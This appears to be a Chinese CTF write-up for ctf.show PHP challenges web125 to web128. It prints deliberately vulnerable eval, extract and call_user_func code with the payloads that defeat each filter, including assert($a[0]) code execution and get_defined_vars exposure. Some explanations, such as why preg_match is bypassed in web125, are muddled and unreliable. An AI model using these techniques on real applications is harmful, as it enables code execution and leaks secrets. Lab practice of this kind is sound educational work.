web125
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.***'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
代码解析:
1.CTF_SHOW存在
2.CTF_SHOW.***存在
3.POST:fl0g=flag_give_me
4.fun不能匹配到特殊符号且小于16
前面两个好说,第三第四个有点难度,因为第三个看你什么打法,题目只要求不存在f10g而已的,看你什么打法的意思是你在哪弄出flag,是在 eval("$c".";");顶着一堆恐怖的过滤进行命令执行拿到flag还是在满足三个flag情况下直接拿到flag
这里我就直接满足三个if吧,我可不想顶着一堆恐怖的过滤进行命令执行拿到flag,无论phpinfo
还是system(ls)啥也不回显。
满足第三个if最重要的是啥?
我这里没有POST :f10g啊,那怎么办?
变量覆盖啊!
在fun中使用变量覆盖
POST:CTF_SHOW=1&CTF[SHOW.***=2&fun=extract($_POST)&fl0g=flag_give_me
解释:
preg_match()
函数用于检测fun
是否包含敏感关键字,但是由于$c
直接赋值为$_POST['fun']
,并没有对其进行过滤或处理,因此这个检测被绕过了。c<=16
条件判断也会返回真,因为c
被赋值为$_POST['fun']
,即 "extract($_POST)",而不是一个数值。- 再补充一点,php版本过低时,会自动将第一个 [ 变成 _ 下划线
web126
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.***'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这里还是老样子进行变量覆盖,顶着一堆恐怖的过滤进行命令执行拿到flag太离谱了,那就满足三个if吧,第一第三个很简单,第二个!isset($_GET['fl0g'])似乎矛盾了,这里使用变量覆盖
payload:?$fl0g=flag_give_me
POST:CTF_SHOW=1&CTF[SHOW.***=2&fun=assert($a[0])
解析:既然矛盾了,那我就把$_GET['fl0g']解析成别的不就好了!
在条件块中使用 assert($a[0])
执行变量 $a[0]
中的代码。
根据输入 ?$fl0g=flag_give_me
,将其解析为 $a[0]
,即 $fl0g=flag_give_me
。
这样既不会出现($_GET['fl0g'])又可以满足 if($fl0g==="flag_give_me"){
web127
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
这里其实就考一个点:
php的变量名不能带点和空格,否则会被解析成为下划线
ctf_show=ilove36d
既然过滤了_,那就用空格就好
payload:ctf show=ilove36d
web128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
知识点:
php扩展目录下有php_gettext.dll
使用get_defined_vars()函数后
get_defined_vars — 会返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload:?f1=_&f2=get_defined_vars
解析:
由于 check($f1)
返回true,代码进入了if语句块中。call_user_func($f1, $f2)
的执行相当于调用 call_user_func("_", "get_defined_vars")
。因此,最终会调用函数 _()
并将参数 "get_defined_vars" 传递给它。call_user_func(call_user_func($f1,$f2))
表达式的结果将被传递给 var_dump()
,从而输出flag的值。
真诚希望我的文章能够帮助大家,谢谢!